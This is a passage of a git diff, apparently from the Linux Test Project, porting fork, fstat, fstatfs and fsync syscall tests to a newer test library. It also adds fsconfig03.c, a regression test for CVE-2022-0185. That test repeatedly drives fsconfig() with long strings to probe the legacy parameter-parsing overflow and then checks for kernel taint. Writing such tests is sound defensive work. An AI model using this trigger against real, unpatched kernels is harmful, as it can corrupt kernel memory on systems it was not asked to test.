Setup signal handling. - * Pause for SIGUSR1 if option specified. - * Test: - * Loop if the proper options are given. - * fork() - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, Issue a PASS message. - * CHILD: - * determine PID - * write to PID to a file and close the file - * exit - * PARENT: - * wait for child to exit - * read child PID from file - * compare child PID to fork() return code and report - * results - * - * Cleanup: - * Print errno log and/or timing stats if options given + * - fork returns without error + * - fork returns the pid of the child */ #include #include -#include -#include #include #include #include -#include "test.h" +#include "tst_test.h" #define KIDEXIT 42 -static void setup(); -static void cleanup(); - -#define LINE_SZ 20 #define FILENAME "childpid" -char *TCID = "fork01"; -int TST_TOTAL = 2; - -/* - * child_pid - the child side of the test - * determine the PID and write to a file - */ -static void child_pid(void) -{ - - int fildes; - char tmp_line[LINE_SZ]; - - fildes = creat(FILENAME, 0700); - sprintf(tmp_line, "%d\n", getpid()); - write(fildes, tmp_line, LINE_SZ); - close(fildes); - -} +static int fd = -1; -/* - * parent_pid - the parent side of the test - * read the value determined by the child - * compare and report results - */ -static void parent_pid(void) +static void verify_fork(void) { + int kid_status, term_pid, child_pid, pid, ret; - int fildes; - char tmp_line[LINE_SZ]; - pid_t child_id; - - fildes = open(FILENAME, O_RDWR); - if (fildes == -1) { - tst_brkm(TBROK, cleanup, - "parent open failed. errno: %d (%s)\n", - errno, strerror(errno)); - } else { - if (read(fildes, tmp_line, LINE_SZ) == 0) { - tst_brkm(TBROK, cleanup, - "fork(): parent failed to read PID from file errno: %d (%s)", - errno, strerror(errno)); - } else { - child_id = atoi(tmp_line); - if (TEST_RETURN != child_id) { - tst_resm(TFAIL, - "child reported a pid of %d. parent received %ld from fork()", - child_id, TEST_RETURN); - } else { - tst_resm(TPASS, - "child pid and fork() return agree: %d", - child_id); - } - } - close(fildes); + pid = SAFE_FORK(); + if (!pid) { + SAFE_FILE_PRINTF(FILENAME, "%d", getpid()); + exit(KIDEXIT); } -} - -int main(int ac, char **av) -{ - int lc; - int fails; - int kid_status, wait_status; - - tst_parse_opts(ac, av, NULL, NULL); - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - fails = 0; - - TEST(fork()); - if (TEST_RETURN == -1) { - tst_resm(TFAIL, "fork() Failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - tst_resm(TBROK, "unable to continue"); + term_pid = SAFE_WAITPID(pid, &kid_status, 0); + if (term_pid == pid) { + if (!WIFEXITED(kid_status)) { + tst_res(TFAIL, "child exited abnormally"); + return; } - if (TEST_RETURN == 0) { - /* child */ - child_pid(); - exit(KIDEXIT); - } else { - /* parent */ - tst_resm(TPASS, "fork() returned %ld", - TEST_RETURN); - /* wait for the child to complete */ - wait_status = waitpid(TEST_RETURN, &kid_status, 0); - - if (wait_status == TEST_RETURN) { - if (kid_status != KIDEXIT << 8) { - tst_resm(TBROK, - "incorrect child status returned on wait(): %d", - kid_status); - fails++; - } - } else { - tst_resm(TBROK, - "wait() for child status failed with %d errno: %d : %s", - wait_status, errno, - strerror(errno)); - fails++; - } - if (fails == 0) { - /* verification tests */ - parent_pid(); - } - } /* TEST_RETURN */ + ret = WEXITSTATUS(kid_status); + if (ret != KIDEXIT) + tst_res(TFAIL, "incorrect child status returned %d", ret); + else + tst_res(TPASS, "correct child status returned %d", ret); + + SAFE_FILE_SCANF(FILENAME, "%d", &child_pid); + TST_EXP_EQ_LI(child_pid, pid); + } else { + tst_res(TFAIL, "waitpid() returns %d instead of expected pid %d", + term_pid, pid); } - cleanup(); - tst_exit(); + tst_reap_children(); } static void setup(void) { - - tst_sig(FORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - tst_tmpdir(); + fd = SAFE_CREAT(FILENAME, 0700); + SAFE_CLOSE(fd); } static void cleanup(void) { - - tst_rmdir(); - + if (fd > -1) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .forks_child = 1, + .test_all = verify_fork, +}; diff --git a/testcases/kernel/syscalls/fork/fork03.c b/testcases/kernel/syscalls/fork/fork03.c index 25b36c89..c6381dd6 100755 --- a/testcases/kernel/syscalls/fork/fork03.c +++ b/testcases/kernel/syscalls/fork/fork03.c @@ -1,119 +1,59 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) Linux Test Project, 2003-2023 + * Author: 2001 Ported by Wayne Boyer */ -/* - * NAME - * fork03.c - * - * DESCRIPTION - * Check that child can use a large text space and do a large - * number of operations. - * - * ALGORITHM - * Fork one process, check for pid == 0 in child. - * Check for pid > 0 in parent after wait. +/*\ + *[Description] * - * USAGE - * fork03 - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS - * None + * Check that child process can use a large text space and do a large number + * of operations. In this situation, check for pid == 0 in child and check + * for pid > 0 in parent after wait. */ -#include +#include #include -#include -#include "test.h" - -char *TCID = "fork03"; -int TST_TOTAL = 1; +#include +#include "tst_test.h" -static void setup(void); -static void cleanup(void); - -int main(int ac, char **av) +static void verify_fork(void) { float fl1, fl2; - int i; - int pid1, pid2, status; - - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - pid1 = fork(); - if (pid1 == -1) - tst_brkm(TBROK, cleanup, "fork() failed"); - - if (pid1 == 0) { - /* child uses some cpu cycles */ - for (i = 1; i < 32767; i++) { - fl1 = 0.000001; - fl1 = fl2 = 0.000001; - fl1 = fl1 * 10.0; - fl2 = fl1 / 1.232323; - fl1 = fl2 - fl2; - fl1 = fl2; - } - - /* Pid must always be zero in child */ - if (pid1 != 0) - exit(1); - else - exit(0); - } else { - tst_resm(TINFO, "process id in parent of child from " - "fork : %d", pid1); - pid2 = wait(&status); /* wait for child */ - - if (pid1 != pid2) { - tst_resm(TFAIL, "pids don't match : %d vs %d", - pid1, pid2); - continue; - } + int pid1, pid2, status, i; + + pid1 = SAFE_FORK(); + if (!pid1) { + /* child uses some cpu time slices */ + for (i = 1; i < 32767; i++) { + fl1 = 0.000001; + fl1 = fl2 = 0.000001; + fl1 = fl1 * 10.0; + fl2 = fl1 / 1.232323; + fl1 = fl2 - fl2; + fl1 = fl2; + } + exit(!!pid1); + } - if ((status >> 8) != 0) { - tst_resm(TFAIL, "child exited with failure"); - continue; - } + tst_res(TINFO, "process id in parent of child from fork: %d", pid1); + pid2 = SAFE_WAIT(&status); - tst_resm(TPASS, "test 1 PASSED"); - } + if (pid1 != pid2) { + tst_res(TFAIL, "pids don't match: %d vs %d", pid1, pid2); + return; } - cleanup(); - tst_exit(); -} + if ((status >> 8) != 0) { + tst_res(TFAIL, "child exited with failure"); + return; + } -static void setup(void) -{ - tst_sig(FORK, DEF_HANDLER, cleanup); - TEST_PAUSE; + tst_res(TPASS, "test PASSED"); } -static void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = verify_fork, + .forks_child = 1, +}; diff --git a/testcases/kernel/syscalls/fork/fork05.c b/testcases/kernel/syscalls/fork/fork05.c index ce03dcd2..9a99cff1 100755 --- a/testcases/kernel/syscalls/fork/fork05.c +++ b/testcases/kernel/syscalls/fork/fork05.c @@ -133,7 +133,7 @@ static int a = 42; static void modify_ldt(int func, struct modify_ldt_ldt_s *ptr, int bytecount) { - ltp_syscall(__NR_modify_ldt, func, ptr, bytecount); + tst_syscall(__NR_modify_ldt, func, ptr, bytecount); } int main(void) diff --git a/testcases/kernel/syscalls/fork/fork13.c b/testcases/kernel/syscalls/fork/fork13.c index 583c8bd4..bbfbf5c3 100755 --- a/testcases/kernel/syscalls/fork/fork13.c +++ b/testcases/kernel/syscalls/fork/fork13.c @@ -1,5 +1,13 @@ +// SPDX-License-Identifier: GPL-2.0 /* - * a race in pid generation that causes pids to be reused immediately + * Copyright (C) 2010 Red Hat, Inc. + * Copyright (C) 2022 Cyril Hrubis + */ + +/*\ + * [Description] + * + * A race in pid generation that causes pids to be reused immediately * * From the mainline commit 5fdee8c4a5e1800489ce61963208f8cc55e42ea1: * @@ -9,8 +17,8 @@ * implementation. Furthermore, many shell scripts assume that pid * numbers will not be used for some length of time. * - * Race Description: - * + * [Race Description] + * --------------------------------------------------------------------- * A B * * // pid == offset == n // pid == offset == n + 1 @@ -23,27 +31,7 @@ * // Next fork()... * last = pid_ns->last_pid; // == n * pid = last + 1; - * - * Copyright (C) 2010 Red Hat, Inc. - * This program is free software; you can redistribute it and/or - * modify it under the terms of version 2 of the GNU General Public - * License as published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it - * is free of the rightful claim of any third person regarding - * infringement or the like. Any license provided herein, whether - * implied or otherwise, applies only to this software file. Patent - * licenses, if any, provided herein do not apply to combinations of - * this program with other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA - * 02110-1301, USA. + * --------------------------------------------------------------------- */ #include @@ -54,101 +42,82 @@ #include #include #include -#include "test.h" -char *TCID = "fork13"; -int TST_TOTAL = 1; +#include "tst_test.h" -static unsigned long pid_max; - -#define PID_MAX_PATH "/proc/sys/kernel/pid_max" #define PID_MAX 32768 +#define PID_MAX_STR "32768" #define RETURN 256 +#define MAX_ITERATIONS 1000000 -static void setup(void); -static int pid_distance(pid_t first, pid_t second); -static void cleanup(void); -static void check(void); - -int main(int argc, char *argv[]) +/* The distance mod PIDMAX between two pids, where the first pid is + expected to be smaller than the second. */ +static int pid_distance(pid_t first, pid_t second) { - tst_parse_opts(argc, argv, NULL, NULL); - setup(); - check(); - cleanup(); - tst_exit(); + return (second + PID_MAX - first) % PID_MAX; } static void check(void) { - long lc; - pid_t last_pid = 0; + pid_t prev_pid = 0; pid_t pid; - int child_exit_code, distance, reaped, status; - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - child_exit_code = lc % RETURN; - switch (pid = fork()) { - case -1: - tst_brkm(TBROK | TERRNO, cleanup, "fork"); - case 0: - exit(child_exit_code); - default: - if (lc > 0) { - distance = pid_distance(last_pid, pid); - if (distance == 0) { - tst_resm(TFAIL, - "Unexpected pid sequence: " - "previous fork: pid=%d, " - "current fork: pid=%d for " - "iteration=%ld.", last_pid, - pid, lc); - return; - } - } - last_pid = pid; - - reaped = waitpid(pid, &status, 0); - if (reaped != pid) { - tst_resm(TFAIL, - "Wait return value: expected pid=%d, " - "got %d, iteration %ld.", pid, reaped, - lc); - return; - } else if (WEXITSTATUS(status) != child_exit_code) { - tst_resm(TFAIL, "Unexpected exit status %x, " - "iteration %ld.", WEXITSTATUS(status), - lc); + int i, distance, reaped, status, retval; + + for (i = 0; i < MAX_ITERATIONS; i++) { + retval = i % RETURN; + + pid = SAFE_FORK(); + if (!pid) + exit(retval); + + if (prev_pid) { + distance = pid_distance(prev_pid, pid); + if (distance == 0) { + tst_res(TFAIL, + "Unexpected pid sequence: prev_pid=%i, pid=%i for iteration=%i", + prev_pid, pid, i); return; } } - } - tst_resm(TPASS, "%ld pids forked, all passed", lc); -} -static void setup(void) -{ - tst_require_root(); + prev_pid = pid; - tst_sig(FORK, DEF_HANDLER, cleanup); - TEST_PAUSE; + reaped = SAFE_WAITPID(pid, &status, 0); - /* Backup pid_max value. */ - SAFE_FILE_SCANF(NULL, PID_MAX_PATH, "%lu", &pid_max); + if (reaped != pid) { + tst_res(TFAIL, + "Wrong pid %i returned from waitpid() expected %i", + reaped, pid); + return; + } - SAFE_FILE_PRINTF(NULL, PID_MAX_PATH, "%d", PID_MAX); -} + if (WEXITSTATUS(status) != retval) { + tst_res(TFAIL, + "Wrong process exit value %i expected %i", + WEXITSTATUS(status), retval); + return; + } -static void cleanup(void) -{ - /* Restore pid_max value. */ - FILE_PRINTF(PID_MAX_PATH, "%lu", pid_max); -} + if (!tst_remaining_runtime()) { + tst_res(TINFO, "Runtime exhausted, exiting..."); + break; + } + } -/* The distance mod PIDMAX between two pids, where the first pid is - expected to be smaller than the second. */ -static int pid_distance(pid_t first, pid_t second) -{ - return (second + PID_MAX - first) % PID_MAX; + tst_res(TPASS, "%i pids forked, all passed", i); } + +static struct tst_test test = { + .needs_root = 1, + .forks_child = 1, + .max_runtime = 600, + .test_all = check, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/pid_max", PID_MAX_STR, TST_SR_TBROK}, + {} + }, + .tags = (const struct tst_tag[]) { + {"linux-git", "5fdee8c4a5e1"}, + {} + } +}; diff --git a/testcases/kernel/syscalls/fsconfig/.gitignore b/testcases/kernel/syscalls/fsconfig/.gitignore index 2bc54b82..cfedae5f 100755 --- a/testcases/kernel/syscalls/fsconfig/.gitignore +++ b/testcases/kernel/syscalls/fsconfig/.gitignore @@ -1,2 +1,3 @@ /fsconfig01 /fsconfig02 +/fsconfig03 diff --git a/testcases/kernel/syscalls/fsconfig/fsconfig03.c b/testcases/kernel/syscalls/fsconfig/fsconfig03.c new file mode 100644 index 00000000..0ba5355d --- /dev/null +++ b/testcases/kernel/syscalls/fsconfig/fsconfig03.c @@ -0,0 +1,97 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 Alejandro Guerrero + * Copyright (c) 2023 Wei Gao + */ + +/*\ + * [Description] + * + * Test for CVE-2022-0185. + * + * References links: + * + * - https://www.openwall.com/lists/oss-security/2022/01/25/14 + * - https://github.com/Crusaders-of-Rust/CVE-2022-0185 + * + */ + +#include "tst_test.h" +#include "lapi/fsmount.h" + +#define MNTPOINT "mntpoint" + +static int fd = -1; + +static void setup(void) +{ + fsopen_supported_by_kernel(); +} + +static void run(void) +{ + char *val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; + long pagesize; + + TEST(fd = fsopen(tst_device->fs_type, 0)); + if (fd == -1) + tst_brk(TBROK | TTERRNO, "fsopen() failed"); + + pagesize = sysconf(_SC_PAGESIZE); + if (pagesize == -1) + tst_brk(TBROK, "sysconf(_SC_PAGESIZE) failed"); + + for (size_t i = 0; i < 5000; i++) { + /* use same logic in kernel legacy_parse_param function */ + const size_t len = i * (strlen(val) + 2) + (strlen(val) + 1) + 2; + + TEST(fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0)); + + /* Legacy fsconfig() just copies arguments to buffer */ + if (!TST_RET && len <= (size_t)pagesize) + continue; + + if (!TST_RET) { + tst_res(TFAIL, "fsconfig() passed unexpectedly"); + } else if (TST_RET != -1) { + tst_brk(TBROK | TTERRNO, + "Invalid fsconfig() return value %ld", TST_RET); + } else if (TST_ERR != EINVAL) { + tst_res(TFAIL | TTERRNO, + "fsconfig() failed with unexpected error"); + } + } + + if (fd != -1) + SAFE_CLOSE(fd); + + if (tst_taint_check()) + tst_res(TFAIL, "kernel has issues on %s", + tst_device->fs_type); + else + tst_res(TPASS, "kernel seems to be fine on %s", + tst_device->fs_type); +} + +static void cleanup(void) +{ + if (fd >= 0) + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .format_device = 1, + .mntpoint = MNTPOINT, + .all_filesystems = 1, + .taint_check = TST_TAINT_W | TST_TAINT_D, + .skip_filesystems = (const char *const []){"fuse", NULL}, + .tags = (const struct tst_tag[]) { + {"linux-git", "722d94847de29"}, + {"CVE", "2022-0185"}, + {} + } +}; diff --git a/testcases/kernel/syscalls/fsetxattr/fsetxattr01.c b/testcases/kernel/syscalls/fsetxattr/fsetxattr01.c index ffec8104..d799e477 100755 --- a/testcases/kernel/syscalls/fsetxattr/fsetxattr01.c +++ b/testcases/kernel/syscalls/fsetxattr/fsetxattr01.c @@ -205,7 +205,7 @@ static void setup(void) long_value[XATTR_SIZE_MAX + 1] = '\0'; SAFE_TOUCH(FNAME, 0644, NULL); - fd = SAFE_OPEN(FNAME, O_RDONLY, NULL); + fd = SAFE_OPEN(FNAME, O_RDONLY); for (i = 0; i < ARRAY_SIZE(tc); i++) { if (!tc[i].key) diff --git a/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c b/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c index 3aea4b59..0336c964 100755 --- a/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c +++ b/testcases/kernel/syscalls/fsetxattr/fsetxattr02.c @@ -211,7 +211,7 @@ static void setup(void) for (i = 0; i < ARRAY_SIZE(tc); i++) { if (!tc[i].issocket) { - tc[i].fd = SAFE_OPEN(tc[i].fname, tc[i].fflags, NULL); + tc[i].fd = SAFE_OPEN(tc[i].fname, tc[i].fflags); continue; } diff --git a/testcases/kernel/syscalls/fstat/fstat02.c b/testcases/kernel/syscalls/fstat/fstat02.c index c0229de4..27683175 100755 --- a/testcases/kernel/syscalls/fstat/fstat02.c +++ b/testcases/kernel/syscalls/fstat/fstat02.c @@ -4,21 +4,21 @@ * 07/2001 Ported by Wayne Boyer * 05/2019 Ported to new library: Christian Amann */ -/* + +/*\ + * [Description] + * * Tests if fstat() returns correctly and reports correct file information * using the stat structure. */ -#include -#include -#include -#include #include "tst_test.h" -#include "tst_safe_macros.h" #define TESTFILE "test_file" +#define LINK_TESTFILE "link_test_file" #define FILE_SIZE 1024 #define FILE_MODE 0644 +#define NLINK 2 static struct stat stat_buf; static uid_t user_id; @@ -27,44 +27,12 @@ static int fildes; static void run(void) { - int fail = 0; - - TEST(fstat(fildes, &stat_buf)); - - if (TST_RET != 0) { - tst_res(TFAIL | TTERRNO, "fstat() failed"); - return; - } - - fail = 0; - if (stat_buf.st_uid != user_id) { - tst_res(TFAIL, "stat_buf.st_uid = %i expected %i", - stat_buf.st_uid, user_id); - fail++; - } - - if (stat_buf.st_gid != group_id) { - tst_res(TFAIL, "stat_buf.st_gid = %i expected %i", - stat_buf.st_gid, group_id); - fail++; - } - - if (stat_buf.st_size != FILE_SIZE) { - tst_res(TFAIL, "stat_buf.st_size = %li expected %i", - (long)stat_buf.st_size, FILE_SIZE); - fail++; - } - - if ((stat_buf.st_mode & 0777) != FILE_MODE) { - tst_res(TFAIL, "stat_buf.st_mode = %o expected %o", - (stat_buf.st_mode & 0777), FILE_MODE); - fail++; - } - - if (fail) - return; - - tst_res(TPASS, "fstat() reported correct values."); + TST_EXP_PASS(fstat(fildes, &stat_buf)); + TST_EXP_EQ_LU(stat_buf.st_uid, user_id); + TST_EXP_EQ_LU(stat_buf.st_gid, group_id); + TST_EXP_EQ_LI(stat_buf.st_size, FILE_SIZE); + TST_EXP_EQ_LU(stat_buf.st_mode & 0777, FILE_MODE); + TST_EXP_EQ_LU(stat_buf.st_nlink, NLINK); } static void setup(void) @@ -77,7 +45,9 @@ static void setup(void) fildes = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, FILE_MODE); if (tst_fill_file(TESTFILE, 'a', FILE_SIZE, 1)) - tst_brk(TBROK, "Could not fill Testfile!"); + tst_brk(TBROK, "Could not fill test file"); + + SAFE_LINK(TESTFILE, LINK_TESTFILE); } static void cleanup(void) diff --git a/testcases/kernel/syscalls/fstatat/fstatat01.c b/testcases/kernel/syscalls/fstatat/fstatat01.c index b5fa8373..c18ffacf 100755 --- a/testcases/kernel/syscalls/fstatat/fstatat01.c +++ b/testcases/kernel/syscalls/fstatat/fstatat01.c @@ -62,17 +62,17 @@ static const int flags[] = { 0, 0, 0, 0, 9999, 0 }; #if (__NR_fstatat64 > 0) int fstatat(int dirfd, const char *filename, struct stat64 *statbuf, int flags) { - return ltp_syscall(__NR_fstatat64, dirfd, filename, statbuf, flags); + return tst_syscall(__NR_fstatat64, dirfd, filename, statbuf, flags); } #elif (__NR_newfstatat > 0) int fstatat(int dirfd, const char *filename, struct stat *statbuf, int flags) { - return ltp_syscall(__NR_newfstatat, dirfd, filename, statbuf, flags); + return tst_syscall(__NR_newfstatat, dirfd, filename, statbuf, flags); } #else int fstatat(int dirfd, const char *filename, struct stat *statbuf, int flags) { - return ltp_syscall(__NR_fstatat, dirfd, filename, statbuf, flags); + return tst_syscall(__NR_fstatat, dirfd, filename, statbuf, flags); } #endif #endif @@ -86,9 +86,6 @@ int main(int ac, char **av) static struct stat statbuf; #endif - if (tst_kvercmp(2, 6, 16) < 0) - tst_brkm(TCONF, NULL, "Test must be run with kernel 2.6.16+"); - tst_parse_opts(ac, av, NULL, NULL); setup(); diff --git a/testcases/kernel/syscalls/fstatfs/fstatfs01.c b/testcases/kernel/syscalls/fstatfs/fstatfs01.c index b06652dd..6b14fd0d 100755 --- a/testcases/kernel/syscalls/fstatfs/fstatfs01.c +++ b/testcases/kernel/syscalls/fstatfs/fstatfs01.c @@ -1,57 +1,22 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - */ -/* - * DETAILED DESCRIPTION - * This is a Phase I test for the fstatfs(2) system call. It is intended - * to provide a limited exposure of the system call, for now. It - * should/will be extended when full functional tests are written for - * fstatfs(2). + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -#include -#include -#include -#include -#include -#include +/*\ + * [Description] + * + * Verify that fstatfs() syscall executes successfully for all + * available filesystems. + */ -#include "test.h" -#include "safe_macros.h" -static void setup(void); -static void cleanup(void); +#include +#include "tst_test.h" -char *TCID = "fstatfs01"; +#define MNT_POINT "mntpoint" +#define TEMP_FILE MNT_POINT"/test_file" static int file_fd; static int pipe_fd; @@ -59,65 +24,44 @@ static int pipe_fd; static struct tcase { int *fd; const char *msg; -} tcases[2] = { +} tcases[] = { {&file_fd, "fstatfs() on a file"}, {&pipe_fd, "fstatfs() on a pipe"}, }; -int TST_TOTAL = ARRAY_SIZE(tcases); - -int main(int ac, char **av) +static void run(unsigned int i) { - int lc, i; - struct statfs stats; + struct tcase *tc = &tcases[i]; + struct statfs buf; - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) { - TEST(fstatfs(*tcases[i].fd, &stats)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL | TTERRNO, "%s", tcases[i].msg); - } else { - tst_resm(TPASS, "%s - f_type=%lx", - tcases[i].msg, stats.f_type); - } - } - } - - cleanup(); - tst_exit(); + TST_EXP_PASS(fstatfs(*tc->fd, &buf), "%s", tc->msg); } static void setup(void) { int pipe[2]; - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - tst_tmpdir(); - - file_fd = SAFE_OPEN(cleanup, "test_file", O_RDWR | O_CREAT, 0700); - - SAFE_PIPE(cleanup, pipe); + file_fd = SAFE_OPEN(TEMP_FILE, O_RDWR | O_CREAT, 0700); + SAFE_PIPE(pipe); pipe_fd = pipe[0]; - SAFE_CLOSE(cleanup, pipe[1]); + SAFE_CLOSE(pipe[1]); } static void cleanup(void) { - if (file_fd > 0 && close(file_fd)) - tst_resm(TWARN | TERRNO, "close(file_fd) failed"); - - if (pipe_fd > 0 && close(pipe_fd)) - tst_resm(TWARN | TERRNO, "close(pipe_fd) failed"); - - tst_rmdir(); + if (file_fd > 0) + SAFE_CLOSE(file_fd); + if (pipe_fd > 0) + SAFE_CLOSE(pipe_fd); } + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .tcnt = ARRAY_SIZE(tcases), + .test = run, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1, + .needs_root = 1 +}; diff --git a/testcases/kernel/syscalls/fstatfs/fstatfs02.c b/testcases/kernel/syscalls/fstatfs/fstatfs02.c index db2230f8..f801c9f5 100755 --- a/testcases/kernel/syscalls/fstatfs/fstatfs02.c +++ b/testcases/kernel/syscalls/fstatfs/fstatfs02.c @@ -1,114 +1,76 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* - * DESCRIPTION - * Testcase to check fstatfs() sets errno correctly. +/*\ + * [Description] + * + * Testcase to check if fstatfs() sets errno correctly. */ -#include +#include +#include #include #include -#include -#include "test.h" -#include "safe_macros.h" - -static void setup(void); -static void cleanup(void); - -char *TCID = "fstatfs02"; +#include +#include "tst_test.h" +#include "tst_safe_macros.h" static struct statfs buf; +static int fd; +static int bad_fd = -1; + static struct test_case_t { - int fd; + int *fd; struct statfs *sbuf; int error; -} TC[] = { - /* EBADF - fd is invalid */ - { - -1, &buf, EBADF}, -#ifndef UCLINUX - /* Skip since uClinux does not implement memory protection */ - /* EFAULT - address for buf is invalid */ - { - -1, (void *)-1, EFAULT} -#endif +} tests[] = { + {&bad_fd, &buf, EBADF}, + {&fd, (void *)-1, EFAULT}, }; -int TST_TOTAL = ARRAY_SIZE(TC); - -int main(int ac, char **av) +static void fstatfs_verify(unsigned int n) { - int lc; - int i; + int pid, status; - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) { + pid = SAFE_FORK(); + if (!pid) { + TST_EXP_FAIL(fstatfs(*tests[n].fd, tests[n].sbuf), tests[n].error, "fstatfs()"); + exit(0); + } - TEST(fstatfs(TC[i].fd, TC[i].sbuf)); + SAFE_WAITPID(pid, &status, 0); - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - continue; - } + if (WIFEXITED(status) && WEXITSTATUS(status) == 0) + return; - if (TEST_ERRNO == TC[i].error) { - tst_resm(TPASS, "expected failure - " - "errno = %d : %s", TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TFAIL, "unexpected error - %d : %s - " - "expected %d", TEST_ERRNO, - strerror(TEST_ERRNO), TC[i].error); - } - } + if (tests[n].error == EFAULT && + WIFSIGNALED(status) && WTERMSIG(status) == SIGSEGV) { + tst_res(TPASS, "Got SIGSEGV instead of EFAULT"); + return; } - cleanup(); - tst_exit(); + tst_res(TFAIL, "Child %s", tst_strstatus(status)); } static void setup(void) { - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - tst_tmpdir(); -#ifndef UCLINUX - TC[1].fd = SAFE_OPEN(cleanup, "tempfile", O_RDWR | O_CREAT, 0700); -#endif + fd = SAFE_OPEN("tempfile", O_RDWR | O_CREAT, 0700); } static void cleanup(void) { -#ifndef UCLINUX - if (TC[1].fd > 0 && close(TC[1].fd)) - tst_resm(TWARN | TERRNO, "Failed to close fd"); -#endif - - tst_rmdir(); + if (fd > 0) + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .test = fstatfs_verify, + .tcnt = ARRAY_SIZE(tests), + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .forks_child = 1, +}; diff --git a/testcases/kernel/syscalls/fsync/fsync01.c b/testcases/kernel/syscalls/fsync/fsync01.c index 4e2281b0..072245fc 100755 --- a/testcases/kernel/syscalls/fsync/fsync01.c +++ b/testcases/kernel/syscalls/fsync/fsync01.c @@ -20,7 +20,7 @@ static void verify_fsync(void) unsigned int i; for (i = 0; i < 10; i++) { - SAFE_WRITE(1, fd, BUF, sizeof(BUF)); + SAFE_WRITE(SAFE_WRITE_ALL, fd, BUF, sizeof(BUF)); TEST(fsync(fd)); diff --git a/testcases/kernel/syscalls/fsync/fsync02.c b/testcases/kernel/syscalls/fsync/fsync02.c index fcdc14f8..c9de5c72 100755 --- a/testcases/kernel/syscalls/fsync/fsync02.c +++ b/testcases/kernel/syscalls/fsync/fsync02.c @@ -21,13 +21,13 @@ #define BLOCKSIZE 8192 #define MAXBLKS 65536 -#define TIME_LIMIT 120 #define 